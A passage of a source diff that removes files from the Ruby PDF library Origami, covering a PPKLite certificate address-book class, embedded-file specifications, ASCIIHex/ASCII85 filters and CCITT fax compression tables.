@xreftable = nil - @trailer = nil - end - - def trailer=(trl) - trl.pdf = @pdf - @trailer = trl - end - end - - attr_accessor :header, :revisions - - def initialize #:nodoc: - @header = PPKLite::Header.new - @revisions = [ Revision.new(self) ] - @revisions.first.trailer = Trailer.new - end - - def objects - def append_subobj(root, objset) - if objset.find{ |o| o.object_id == root.object_id }.nil? - objset << root - if root.is_a?(Array) or root.is_a?(Dictionary) - root.each { |subobj| append_subobj(subobj, objset) unless subobj.is_a?(Reference) } - end - end - end - - objset = [] - @revisions.first.body.values.each do |object| - unless object.is_a?(Reference) - append_subobj(object, objset) - end - end - - objset - end - - def <<(object) - - object.set_indirect(true) - - if object.no.zero? - maxno = 1 - while get_object(maxno) do maxno = maxno.succ end - - object.generation = 0 - object.no = maxno - end - - @revisions.first.body[object.reference] = object - - object.reference - end - - def Catalog - get_object(@trailer.Root) - end - - def save(filename) - - bin = "" - bin << @header.to_s - - lastno, brange = 0, 0 - - xrefs = [ XRef.new(0, XRef::LASTFREE, XRef::FREE) ] - xrefsection = XRef::Section.new - - @revisions.first.body.values.sort.each { |obj| - if (obj.no - lastno).abs > 1 - xrefsection << XRef::Subsection.new(brange, xrefs) - brange = obj.no - xrefs.clear - end - - xrefs << XRef.new(bin.size, obj.generation, XRef::USED) - lastno = obj.no - - bin << obj.to_s - } - - xrefsection << XRef::Subsection.new(brange, xrefs) - - @xreftable = xrefsection - @trailer ||= Trailer.new - @trailer.Size = rev.body.size + 1 - @trailer.startxref = bin.size - - bin << @xreftable.to_s - bin << @trailer.to_s - - fd = File.open(filename, "w").binmode - fd << bin - fd.close - - show_entries - end - alias saveas save - - # - # Prints registered users in the address book - # - def show_users - - puts "----------" - puts "Users list" - puts "----------" - - @revisions.first.body.values.each { |obj| if obj.is_a?(User) then obj.show; puts end } - - nil - end - - # - # Prints registered certificates in the addressbook - # - def show_certs - puts "-----------------" - puts "Certificates list" - puts "-----------------" - - @revisions.first.body.values.each { |obj| if obj.is_a?(Certificate) then obj.show; puts end } - - nil - end - - # - # Prints certificate with the specified id - # - def show_cert(id) - @revisions.first.body.values.find_all { |obj| obj.is_a?(Certificate) and obj.ID == id }.each do |cert| - cert.show - puts - end - - nil - end - - # - # Returns a Certificate dictionary corresponding to the specified id - # - def get_cert(id) - @revisions.first.body.values.find { |obj| obj.is_a?(Certificate) and obj.ID == id } - end - - def show_user(id) - users = @revisions.first.body.values.find_all { |obj| obj.is_a?(User) and obj.ID == id }.each do |user| - user.show - puts - end - - nil - end - - # - # Prints users and certificates registered in the address book - # - def show_entries - show_users - show_certs - - puts "End of address book." - end - - # - # Add a certificate into the address book - # - def add_certificate(certfile, attributes, viewable = false, editable = false) - - cert = Certificate.new - cert.Cert = OpenSSL::X509::Certificate.new(certfile).to_der - cert.ID = self.Catalog.PPK.AddressBook.NextID - self.Catalog.PPK.AddressBook.NextID += 1 - cert.Trust = attributes - cert.Viewable = viewable - cert.Editable = editable - - self.Catalog.PPK.AddressBook.Entries.push(self << cert) - - show_certs - end - - alias to_s show_entries - alias to_str show_entries - - class Catalog < Dictionary - - include StandardObject - - field :Type, :Type => Name, :Default => :Catalog, :Required => true - field :PPK, :Type => Dictionary, :Required => true - - def initialize(hash = {}) #:nodoc: - super(hash) - end - - end - - class PPK < Dictionary - - include StandardObject - - field :Type, :Type => Name, :Default => :PPK, :Required => true - field :User, :Type => Dictionary, :Required => true - field :AddressBook, :Type => Dictionary, :Required => true - field :V, :Type => Integer, :Default => 0x10001, :Required => true - - def initialize(hash = {}) #:nodoc: - super(hash) - end - - end - - class UserList < Dictionary - - include StandardObject - - field :Type, :Type => Name, :Default => :User, :Required => true - - def initialize(hash = {}) - super(hash) - end - - end - - class AddressList < Dictionary - - include StandardObject - - field :Type, :Type => Name, :Default => :AddressBook, :Required => true - field :NextID, :Type => Integer - field :Entries, :Type => Array, :Default => [], :Required => true - - def initialize(hash = {}) #:nodoc: - super(hash) - end - - end - - module Descriptor - - CERTIFICATE = 1 - USER = 2 - - def self.included(receiver) #:nodoc: - receiver.field :ID, :Type => Integer, :Required => true - receiver.field :ABEType, :Type => Integer, :Default => Descriptor::CERTIFICATE, :Required => true - end - - def initialize(hash = {}) #:nodoc: - super(hash) - end - - end - - class User < Dictionary - - include StandardObject - include Descriptor - - field :ABEType, :Type => Integer, :Default => Descriptor::USER, :Required => true - field :Name, :Type => String, :Required => true - field :Encrypt, :Type => Integer - field :Certs, :Type => Array, :Default => [], :Required => true - - def show - puts "ID: #{self.ID}" - puts "Name: #{self.Name}" - puts "Certificates: " + self.Certs.join(", ") - end - - end - - class Certificate < Dictionary - - include StandardObject - include Descriptor - - module Flags - - CAN_CERTIFY = 1 << 1 - ALLOW_DYNAMIC_CONTENT = 1 << 2 - UNKNOWN_1 = 1 << 3 - ALLOW_HIGH_PRIV_JS = 1 << 4 - UNKNOWN_2 = 1 << 5 - IS_ROOT_CA = 1 << 6 - - #~ FULL_TRUST = 1 << 1 | 1 << 2 | 1 << 3 | 1 << 4 | 1 << 5 | 1 << 6 - FULL_TRUST = 8190 - end - - field :ABEType, :Type => Integer, :Default => Descriptor::CERTIFICATE, :Required => true - field :Usage, :Type => Integer, :Default => 1, :Required => true - field :Viewable, :Type => Boolean, :Default => true - field :Editable, :Type => Boolean, :Default => true - field :Cert, :Type => String, :Required => true - field :Trust, :Type => Integer, :Default => Flags::UNKNOWN_2, :Required => true - - def show - puts "ID: #{self.ID}" - puts "Viewable: #{self.Viewable}" - puts "Editable: #{self.Editable}" - puts "Trust attributes: #{self.Trust}" - end - - end - - def get_object(no, generation = 0) #:nodoc: - - case no - when Reference - target = no - when ::Integer - target = Reference.new(no, generation) - when Origami::Object - return no - end - - @revisions.first.body[target] - end - - private - - def rebuildxrefs #:nodoc: - - startxref = @header.to_s.size - - @revisions.first.body.values.each { |object| - startxref += object.to_s.size - } - - @xreftable = buildxrefs(@revisions.first.body) - - @trailer ||= Trailer.new - @trailer.Size = @revisions.first.body.size + 1 - @trailer.startxref = startxref - - self - end - - def buildxrefs(objects) #:nodoc: - - lastno = 0 - brange = 0 - - xrefs = [ XRef.new(0, XRef::LASTFREE, XRef::FREE) ] - - xrefsection = XRef::Section.new - objects.sort.each { |object| - if (object.no - lastno).abs > 1 - xrefsection << XRef::Subsection.new(brange, xrefs) - brange = object.no - xrefs.clear - end - - xrefs << XRef.new(get_object_offset(object.no, object.generation), object.generation, XRef::USED) - - lastno = object.no - } - - xrefsection << XRef::Subsection.new(brange, xrefs) - - xrefsection - end - - def get_object_offset(no,generation) #:nodoc: - - bodyoffset = @header.to_s.size - - objectoffset = bodyoffset - - @revisions.first.body.values.each { |object| - if object.no == no and object.generation == generation then return objectoffset - else - objectoffset += object.to_s.size - end - } - - nil - end - - end - - end - -end - diff -Nru origami-1.2.7/lib/origami/file.rb origami-1.2.7+really0.7.4/lib/origami/file.rb --- origami-1.2.7/lib/origami/file.rb 2013-03-19 18:29:17.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/file.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,233 +0,0 @@ -=begin - -= File - file.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class PDF - - # - # Attachs an embedded file to the PDF. - # _path_:: The path to the file to attach. - # _options_:: A set of options to configure the attachment. - # - def attach_file(path, options = {}) - - # - # Default options. - # - params = - { - :Register => true, # Shall the file be registered in the name directory ? - :EmbeddedName => nil, # The inner filename of the attachment. - :Filter => :FlateDecode, # The stream filter used to store data. - }.update(options) - - if path.is_a? FileSpec - filespec = path - params[:EmbeddedName] ||= '' - else - if path.respond_to?(:read) - fd = path - params[:EmbeddedName] ||= '' - else - fd = File.open(File.expand_path(path), 'r').binmode - params[:EmbeddedName] ||= File.basename(path) - end - - fstream = EmbeddedFileStream.new - - if ''.respond_to? :force_encoding - fstream.data = fd.read.force_encoding('binary') # 1.9 - else - fstream.data = fd.read - end - - fd.close - - fstream.setFilter(params[:Filter]) - filespec = FileSpec.new(:F => fstream) - end - - name = params[:EmbeddedName] - fspec = FileSpec.new.setType(:Filespec).setF(name.dup).setEF( - filespec - ) - - register( - Names::Root::EMBEDDEDFILES, - name.dup, - fspec - ) if params[:Register] == true - - fspec - end - - # - # Lookup embedded file in the embedded files name directory. - # - def get_embedded_file_by_name(name) - resolve_name Names::Root::EMBEDDEDFILES, name - end - - # - # Calls block for each named embedded file. - # - def each_named_embedded_file(&b) - each_name(Names::Root::EMBEDDEDFILES, &b) - end - end - - # - # Class used to convert system-dependent pathes into PDF pathes. - # PDF path specification offers a single form for representing file pathes over operating systems. - # - class Filename - - class << self - - # - # Converts UNIX file path into PDF file path. - # - def Unix(file) - ByteString.new(file) - end - - # - # Converts MacOS file path into PDF file path. - # - def Mac(file) - ByteString.new("/" + file.gsub(":", "/")) - end - - # - # Converts Windows file path into PDF file path. - # - def DOS(file) - path = "" - # Absolute vs relative path - if file.include? ":" - path << "/" - file.sub!(":","") - end - - file.gsub!("\\", "/") - ByteString.new(path + file) - end - - end - - end - - - # - # Class representing a file specification. - # File specifications can be used to reference external files, as well as embedded files and URIs. - # - class FileSpec < Dictionary - - include StandardObject - - field :Type, :Type => Name, :Default => :FileSpec - field :FS, :Type => Name, :Default => :URL - field :F, :Type => [ ByteString, Stream ] - field :UF, :Type => String - field :DOS, :Type => ByteString - field :Mac, :Type => ByteString - field :Unix, :Type => ByteString - field :ID, :Type => Array - field :V, :Type => Boolean, :Default => false, :Version => "1.2" - field :EF, :Type => Dictionary, :Version => "1.3" - field :RF, :Type => Dictionary, :Version => "1.3" - field :Desc, :Type => ByteString, :Version => "1.6" - field :CI, :Type => Dictionary, :Version => "1.7" - field :Thumb, :Type => Stream, :Version => "1.7", :ExtensionLevel => 3 - - end - - # - # Class representing a Uniform Resource Locator (URL) - # - class URL < FileSpec - - field :Type, :Type => Name, :Default => :URL, :Required => true - - def initialize(url) - super(:F => url) - end - end - - # - # A class representing a file outside the current PDF file. - # - class ExternalFile < FileSpec - field :Type, :Type => Name, :Default => :FileSpec #, :Required => true - - # - # Creates a new external file specification. - # _dos_:: The Windows path to this file. - # _mac_:: The MacOS path to this file. - # _unix_:: The UNIX path to this file. - # - def initialize(dos, mac = "", unix = "") - - if not mac.empty? or not unix.empty? - super(:DOS => Filename.DOS(dos), :Mac => Filename.Mac(mac), :Unix => Filename.Unix(unix)) - else - super(:F => dos) - end - - end - - end - - # - # Class representing the data of an embedded file. - # - class EmbeddedFileStream < Stream - - include StandardObject - - field :Type, :Type => Name, :Default => :EmbeddedFile - field :Subtype, :Type => Name - field :Params, :Type => Dictionary - - end - - # - # Class representing parameters for a EmbeddedFileStream. - # - class EmbeddedFileParameters < Dictionary - - include StandardObject - - field :Size, :Type => Integer - field :CreationDate, :Type => ByteString - field :ModDate, :Type => ByteString - field :Mac, :Type => Dictionary - field :Checksum, :Type => String - - end - -end diff -Nru origami-1.2.7/lib/origami/filters/ascii.rb origami-1.2.7+really0.7.4/lib/origami/filters/ascii.rb --- origami-1.2.7/lib/origami/filters/ascii.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/filters/ascii.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,196 +0,0 @@ -=begin - -= File - filters/ascii.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - module Filter - - class InvalidASCIIHexStringError < InvalidFilterDataError #:nodoc: - end - - # - # Class representing a filter used to encode and decode data written into hexadecimal. - # - class ASCIIHex - include Filter - - EOD = ">" #:nodoc: - - # - # Encodes given data into upcase hexadecimal representation. - # _stream_:: The data to encode. - # - def encode(stream) - stream.unpack("H2" * stream.size).join.upcase - end - - # - # Decodes given data writen into upcase hexadecimal representation. - # _string_:: The data to decode. - # - def decode(string) - - input = string.include?(?>) ? string[0..string.index(?>) - 1] : string - digits = input.delete(" \f\t\r\n\0").split(/(..)/).delete_if{|digit| digit.empty?} - - if not digits.all? { |d| d =~ /[a-fA-F0-9]{1,2}/ } - raise InvalidASCIIHexStringError, input - end - - digits.pack("H2" * digits.size) - end - - end - AHx = ASCIIHex - - class InvalidASCII85StringError < InvalidFilterDataError #:nodoc: - end - - # - # Class representing a filter used to encode and decode data written in base85 encoding. - # - class ASCII85 - include Filter - - EOD = "~>" #:nodoc: - - # - # Encodes given data into base85. - # _stream_:: The data to encode. - # - def encode(stream) - - i = 0 - code = "" - input = stream.dup - - while i < input.size do - - if input.length - i < 4 - addend = 4 - (input.length - i) - input << "\0" * addend - else - addend = 0 - end - - inblock = (input[i].ord * 256**3 + input[i+1].ord * 256**2 + input[i+2].ord * 256 + input[i+3].ord) - outblock = "" - - 5.times do |p| - c = inblock / 85 ** (4 - p) - outblock << ("!"[0].ord + c).chr - - inblock -= c * 85 ** (4 - p) - end - - outblock = "z" if outblock == "!!!!!" and addend == 0 - - if addend != 0 - outblock = outblock[0,(4 - addend) + 1] - end - - code << outblock - - i = i + 4 - end - - code - end - - # - # Decodes the given data encoded in base85. - # _string_:: The data to decode. - # - def decode(string) - - input = (string.include?(EOD) ? string[0..string.index(EOD) - 1] : string).delete(" \f\t\r\n\0") - - i = 0 - result = "" - while i < input.size do - - outblock = "" - - if input[i].ord == "z"[0].ord - inblock = 0 - codelen = 1 - else - - inblock = 0 - codelen = 5 - - if input.length - i < 5 - raise InvalidASCII85StringError.new("Invalid length", result) if input.length - i == 1 - - addend = 5 - (input.length - i) - input << "u" * addend - else - addend = 0 - end - - # Checking if this string is in base85 - 5.times do |j| - if input[i+j].ord > "u"[0].ord or input[i+j].ord < "!"[0].ord - raise InvalidASCII85StringError.new( - "Invalid character sequence: #{input[i,5].inspect}", - result - ) - else - inblock += (input[i+j].ord - "!"[0].ord) * 85 ** (4 - j) - end - end - - - raise InvalidASCII85StringError.new( - "Invalid value (#{inblock}) for block #{input[i,5].inspect}", - result - ) if inblock >= 2**32 - - end - - 4.times do |p| - c = inblock / 256 ** (3 - p) - outblock << c.chr - - inblock -= c * 256 ** (3 - p) - end - - if addend != 0 - outblock = outblock[0, 4 - addend] - end - - result << outblock - - i = i + codelen - end - - result - end - - end - A85 = ASCII85 - end -end - diff -Nru origami-1.2.7/lib/origami/filters/ccitt.rb origami-1.2.7+really0.7.4/lib/origami/filters/ccitt.rb --- origami-1.2.7/lib/origami/filters/ccitt.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/filters/ccitt.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,576 +0,0 @@ -=begin - -= File - filters/ccitt.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - module Filter - - class InvalidCCITTFaxDataError < InvalidFilterDataError #:nodoc: - end - - class CCITTFaxFilterError < Exception #:nodoc: - end - - # - # Class representing a Filter used to encode and decode data with CCITT-facsimile compression algorithm. - # - class CCITTFax - include Filter - - class DecodeParms < Dictionary - include StandardObject - - field :K, :Type => Integer, :Default => 0 - field :EndOfLine, :Type => Boolean, :Default => false - field :EncodedByteAlign, :Type => Boolean, :Default => false - field :Columns, :Type => Integer, :Default => 1728 - field :Rows, :Type => Integer, :Default => 0 - field :EndOfBlock, :Type => Boolean, :Default => true - field :BlackIs1, :Type => Boolean, :Default => false - field :DamagedRowsBeforeError, :Type => :Integer, :Default => 0 - end - - def self.codeword(str) #:nodoc: - [ str.to_i(2), str.length ] - end - - EOL = codeword('000000000001') - RTC = codeword('000000000001' * 6) - - WHITE_TERMINAL_ENCODE_TABLE = - { - 0 => codeword('00110101'), - 1 => codeword('000111'), - 2 => codeword('0111'), - 3 => codeword('1000'), - 4 => codeword('1011'), - 5 => codeword('1100'), - 6 => codeword('1110'), - 7 => codeword('1111'), - 8 => codeword('10011'), - 9 => codeword('10100'), - 10 => codeword('00111'), - 11 => codeword('01000'), - 12 => codeword('001000'), - 13 => codeword('000011'), - 14 => codeword('110100'), - 15 => codeword('110101'), - 16 => codeword('101010'), - 17 => codeword('101011'), - 18 => codeword('0100111'), - 19 => codeword('0001100'), - 20 => codeword('0001000'), - 21 => codeword('0010111'), - 22 => codeword('0000011'), - 23 => codeword('0000100'), - 24 => codeword('0101000'), - 25 => codeword('0101011'), - 26 => codeword('0010011'), - 27 => codeword('0100100'), - 28 => codeword('0011000'), - 29 => codeword('00000010'), - 30 => codeword('00000011'), - 31 => codeword('00011010'), - 32 => codeword('00011011'), - 33 => codeword('00010010'), - 34 => codeword('00010011'), - 35 => codeword('00010100'), - 36 => codeword('00010101'), - 37 => codeword('00010110'), - 38 => codeword('00010111'), - 39 => codeword('00101000'), - 40 => codeword('00101001'), - 41 => codeword('00101010'), - 42 => codeword('00101011'), - 43 => codeword('00101100'), - 44 => codeword('00101101'), - 45 => codeword('00000100'), - 46 => codeword('00000101'), - 47 => codeword('00001010'), - 48 => codeword('00001011'), - 49 => codeword('01010010'), - 50 => codeword('01010011'), - 51 => codeword('01010100'), - 52 => codeword('01010101'), - 53 => codeword('00100100'), - 54 => codeword('00100101'), - 55 => codeword('01011000'), - 56 => codeword('01011001'), - 57 => codeword('01011010'), - 58 => codeword('01011011'), - 59 => codeword('01001010'), - 60 => codeword('01001011'), - 61 => codeword('00110010'), - 62 => codeword('00110011'), - 63 => codeword('00110100') - } - WHITE_TERMINAL_DECODE_TABLE = WHITE_TERMINAL_ENCODE_TABLE.invert - - BLACK_TERMINAL_ENCODE_TABLE = - { - 0 => codeword('0000110111'), - 1 => codeword('010'), - 2 => codeword('11'), - 3 => codeword('10'), - 4 => codeword('011'), - 5 => codeword('0011'), - 6 => codeword('0010'), - 7 => codeword('00011'), - 8 => codeword('000101'), - 9 => codeword('000100'), - 10 => codeword('0000100'), - 11 => codeword('0000101'), - 12 => codeword('0000111'), - 13 => codeword('00000100'), - 14 => codeword('00000111'), - 15 => codeword('000011000'), - 16 => codeword('0000010111'), - 17 => codeword('0000011000'), - 18 => codeword('0000001000'), - 19 => codeword('00001100111'), - 20 => codeword('00001101000'), - 21 => codeword('00001101100'), - 22 => codeword('00000110111'), - 23 => codeword('00000101000'), - 24 => codeword('00000010111'), - 25 => codeword('00000011000'), - 26 => codeword('000011001010'), - 27 => codeword('000011001011'), - 28 => codeword('000011001100'), - 29 => codeword('000011001101'), - 30 => codeword('000001101000'), - 31 => codeword('000001101001'), - 32 => codeword('000001101010'), - 33 => codeword('000001101011'), - 34 => codeword('000011010010'), - 35 => codeword('000011010011'), - 36 => codeword('000011010100'), - 37 => codeword('000011010101'), - 38 => codeword('000011010110'), - 39 => codeword('000011010111'), - 40 => codeword('000001101100'), - 41 => codeword('000001101101'), - 42 => codeword('000011011010'), - 43 => codeword('000011011011'), - 44 => codeword('000001010100'), - 45 => codeword('000001010101'), - 46 => codeword('000001010110'), - 47 => codeword('000001010111'), - 48 => codeword('000001100100'), - 49 => codeword('000001100101'), - 50 => codeword('000001010010'), - 51 => codeword('000001010011'), - 52 => codeword('000000100100'), - 53 => codeword('000000110111'), - 54 => codeword('000000111000'), - 55 => codeword('000000100111'), - 56 => codeword('000000101000'), - 57 => codeword('000001011000'), - 58 => codeword('000001011001'), - 59 => codeword('000000101011'), - 60 => codeword('000000101100'), - 61 => codeword('000001011010'), - 62 => codeword('000001100110'), - 63 => codeword('000001100111') - } - BLACK_TERMINAL_DECODE_TABLE = BLACK_TERMINAL_ENCODE_TABLE.invert - - WHITE_CONFIGURATION_ENCODE_TABLE = - { - 64 => codeword('11011'), - 128 => codeword('10010'), - 192 => codeword('010111'), - 256 => codeword('0110111'), - 320 => codeword('00110110'), - 384 => codeword('00110111'), - 448 => codeword('01100100'), - 512 => codeword('01100101'), - 576 => codeword('01101000'), - 640 => codeword('01100111'), - 704 => codeword('011001100'), - 768 => codeword('011001101'), - 832 => codeword('011010010'), - 896 => codeword('011010011'), - 960 => codeword('011010100'), - 1024 => codeword('011010101'), - 1088 => codeword('011010110'), - 1152 => codeword('011010111'), - 1216 => codeword('011011000'), - 1280 => codeword('011011001'), - 1344 => codeword('011011010'), - 1408 => codeword('011011011'), - 1472 => codeword('010011000'), - 1536 => codeword('010011001'), - 1600 => codeword('010011010'), - 1664 => codeword('011000'), - 1728 => codeword('010011011'), - - 1792 => codeword('00000001000'), - 1856 => codeword('00000001100'), - 1920 => codeword('00000001001'), - 1984 => codeword('000000010010'), - 2048 => codeword('000000010011'), - 2112 => codeword('000000010100'), - 2176 => codeword('000000010101'), - 2240 => codeword('000000010110'), - 2340 => codeword('000000010111'), - 2368 => codeword('000000011100'), - 2432 => codeword('000000011101'), - 2496 => codeword('000000011110'), - 2560 => codeword('000000011111') - } - WHITE_CONFIGURATION_DECODE_TABLE = WHITE_CONFIGURATION_ENCODE_TABLE.invert - - BLACK_CONFIGURATION_ENCODE_TABLE = - { - 64 => codeword('0000001111'), - 128 => codeword('000011001000'), - 192 => codeword('000011001001'), - 256 => codeword('000001011011'), - 320 => codeword('000000110011'), - 384 => codeword('000000110100'), - 448 => codeword('000000110101'), - 512 => codeword('0000001101100'), - 576 => codeword('0000001101101'), - 640 => codeword('0000001001010'), - 704 => codeword('0000001001011'), - 768 => codeword('0000001001100'), - 832 => codeword('0000001001101'), - 896 => codeword('0000001110010'), - 960 => codeword('0000001110011'), - 1024 => codeword('0000001110100'), - 1088 => codeword('0000001110101'), - 1152 => codeword('0000001110110'), - 1216 => codeword('0000001110111'), - 1280 => codeword('0000001010010'), - 1344 => codeword('0000001010011'), - 1408 => codeword('0000001010100'), - 1472 => codeword('0000001010101'), - 1536 => codeword('0000001011010'), - 1600 => codeword('0000001011011'), - 1664 => codeword('0000001100100'), - 1728 => codeword('0000001100101'), - - 1792 => codeword('00000001000'), - 1856 => codeword('00000001100'), - 1920 => codeword('00000001001'), - 1984 => codeword('000000010010'), - 2048 => codeword('000000010011'), - 2112 => codeword('000000010100'), - 2176 => codeword('000000010101'), - 2240 => codeword('000000010110'), - 2340 => codeword('000000010111'), - 2368 => codeword('000000011100'), - 2432 => codeword('000000011101'), - 2496 => codeword('000000011110'), - 2560 => codeword('000000011111') - } - BLACK_CONFIGURATION_DECODE_TABLE = BLACK_CONFIGURATION_ENCODE_TABLE.invert - - # - # Creates a new CCITT Fax Filter. - # - def initialize(parameters = {}) - super(DecodeParms.new(parameters)) - end - - # - # Encodes data using CCITT-facsimile compression method. - # - def encode(stream) - mode = @params.has_key?(:K) ? @params.K.value : 0 - - unless mode.is_a?(::Integer) and mode <= 0 - raise NotImplementedError, "CCITT encoding scheme not supported" - end - - columns = @params.has_key?(:Columns) ? @params.Columns.value : (stream.size << 3) - unless columns.is_a?(::Integer) and columns > 0 #and columns % 8 == 0 - raise CCITTFaxFilterError, "Invalid value for parameter `Columns'" - end - - if stream.size % (columns >> 3) != 0 - raise CCITTFaxFilterError, "Data size is not a multiple of image width" - end - - colors = (@params.BlackIs1 == true) ? [0,1] : [1,0] - white, _black = colors - bitr = Utils::BitReader.new(stream) - bitw = Utils::BitWriter.new - - # Group 4 requires an imaginary white line - if mode < 0 - prev_line = Utils::BitWriter.new - write_bit_range(prev_line, white, columns) - prev_line = Utils::BitReader.new(prev_line.final.to_s) - end - - until bitr.eod? - case - when mode == 0 - encode_one_dimensional_line(bitr, bitw, columns, colors) - when mode < 0 - encode_two_dimensional_line(bitr, bitw, columns, colors, prev_line) - end - end - - # Emit return-to-control code - bitw.write(*RTC) - - bitw.final.to_s - end - - # - # Decodes data using CCITT-facsimile compression method. - # - def decode(stream) - mode = @params.has_key?(:K) ? @params.K.value : 0 - - unless mode.is_a?(::Integer) and mode <= 0 - raise NotImplementedError, "CCITT encoding scheme not supported" - end - - columns = @params.has_key?(:Columns) ? @params.Columns.value : 1728 - unless columns.is_a?(::Integer) and columns > 0 #and columns % 8 == 0 - raise CCITTFaxFilterError, "Invalid value for parameter `Columns'" - end - - colors = (@params.BlackIs1 == true) ? [0,1] : [1,0] - white, _black = colors - params = - { - :is_aligned? => (@params.EncodedByteAlign == true), - :has_eob? => (@params.EndOfBlock.nil? or @params.EndOfBlock == true), - :has_eol? => (@params.EndOfLine == true) - } - - unless params[:has_eob?] - unless @params.has_key?(:Rows) and @params.Rows.is_a?(::Integer) and @params.Rows.value > 0 - raise CCITTFaxFilterError, "Invalid value for parameter `Rows'" - end - - rows = @params.Rows.to_i - end - - bitr = Utils::BitReader.new(stream) - bitw = Utils::BitWriter.new - - # Group 4 requires an imaginary white line - if mode < 0 - prev_line = Utils::BitWriter.new - write_bit_range(prev_line, white, columns) - prev_line = Utils::BitReader.new(prev_line.final.to_s) - end - - until bitr.eod? or rows == 0 - # realign the read line on a 8-bit boundary if required - if params[:is_aligned?] and bitr.pos % 8 != 0 - bitr.pos += 8 - (bitr.pos % 8) - end - - # received return-to-control code - if params[:has_eob?] and bitr.peek(RTC[1]) == RTC[0] - bitr.pos += RTC[1] - break - end - - # checking for the presence of EOL - if bitr.peek(EOL[1]) != EOL[0] - raise InvalidCCITTFaxDataError.new( - "No end-of-line pattern found (at bit pos #{bitr.pos}/#{bitr.size}})", - bitw.final.to_s - ) if params[:has_eol?] - else - bitr.pos += EOL[1] - end - - case - when mode == 0 - decode_one_dimensional_line(bitr, bitw, columns, colors) - when mode < 0 - decode_two_dimensional_line(bitr, bitw, columns, colors, prev_line) - end - - - rows -= 1 unless params[:has_eob?] - end - - bitw.final.to_s - end - - private - - def encode_one_dimensional_line(input, output, columns, colors) #:nodoc: - output.write(*EOL) - scan_len = 0 - white, black = colors - current_color = white - - # Process each bit in line. - begin - if input.read(1) == current_color - scan_len += 1 - else - if current_color == white - put_white_bits(output, scan_len) - else - put_black_bits(output, scan_len) - end - - current_color ^= 1 - scan_len = 1 - end - end while input.pos % columns != 0 - - if current_color == white - put_white_bits(output, scan_len) - else - put_black_bits(output, scan_len) - end - - # Align encoded lign on a 8-bit boundary. - if @params.EncodedByteAlign == true and output.pos % 8 != 0 - output.write(0, 8 - (output.pos % 8)) - end - end - - def encode_two_dimensional_line(input, output, columns, colors, prev_line) #:nodoc: - raise NotImplementedError, "CCITT two-dimensional encoding scheme not supported." - - white, black = colors - current_color = white - end - - def decode_one_dimensional_line(input, output, columns, colors) #:nodoc: - white, black = colors - current_color = white - - line_length = 0 - while line_length < columns - if current_color == white - bit_length = get_white_bits(input) - else - bit_length = get_black_bits(input) - end - - raise InvalidCCITTFaxDataError.new( - "Unfinished line (at bit pos #{input.pos}/#{input.size}})", - output.final.to_s - ) if bit_length.nil? - - line_length += bit_length - raise InvalidCCITTFaxDataError.new( - "Line is too long (at bit pos #{input.pos}/#{input.size}})", - output.final.to_s - ) if line_length > columns - - write_bit_range(output, current_color, bit_length) - current_color ^= 1 - end - end - - def decode_two_dimensional_line(input, output, columns, colors, prev_line) #:nodoc: - raise NotImplementedError, "CCITT two-dimensional decoding scheme not supported." - end - - def get_white_bits(bitr) #:nodoc: - get_color_bits(bitr, WHITE_CONFIGURATION_DECODE_TABLE, WHITE_TERMINAL_DECODE_TABLE) - end - - def get_black_bits(bitr) #:nodoc: - get_color_bits(bitr, BLACK_CONFIGURATION_DECODE_TABLE, BLACK_TERMINAL_DECODE_TABLE) - end - - def get_color_bits(bitr, config_words, term_words) #:nodoc: - bits = 0 - check_conf = true - - while check_conf - check_conf = false - (2..13).each do |length| - codeword = bitr.peek(length) - config_value = config_words[[codeword, length]] - - if config_value - bitr.pos += length - bits += config_value - check_conf = true if config_value == 2560 - break - end - end - end - - (2..13).each do |length| - codeword = bitr.peek(length) - term_value = term_words[[codeword, length]] - - if term_value - bitr.pos += length - bits += term_value - - return bits - end - end - - nil - end - - def lookup_bits(table, codeword, length) - table.rassoc [codeword, length] - end - - def put_white_bits(bitw, length) #:nodoc: - put_color_bits(bitw, length, WHITE_CONFIGURATION_ENCODE_TABLE, WHITE_TERMINAL_ENCODE_TABLE) - end - - def put_black_bits(bitw, length) #:nodoc: - put_color_bits(bitw, length, BLACK_CONFIGURATION_ENCODE_TABLE, BLACK_TERMINAL_ENCODE_TABLE) - end - - def put_color_bits(bitw, length, config_words, term_words) #:nodoc: - while length > 2559 - bitw.write(*config_words[2560]) - length -= 2560 - end - - if length > 63 - conf_length = (length >> 6) << 6 - bitw.write(*config_words[conf_length]) - length -= conf_length - end - - bitw.write(*term_words[length]) - end - - def write_bit_range(bitw, bit_value, length) #:nodoc: - bitw.write((bit_value << length) 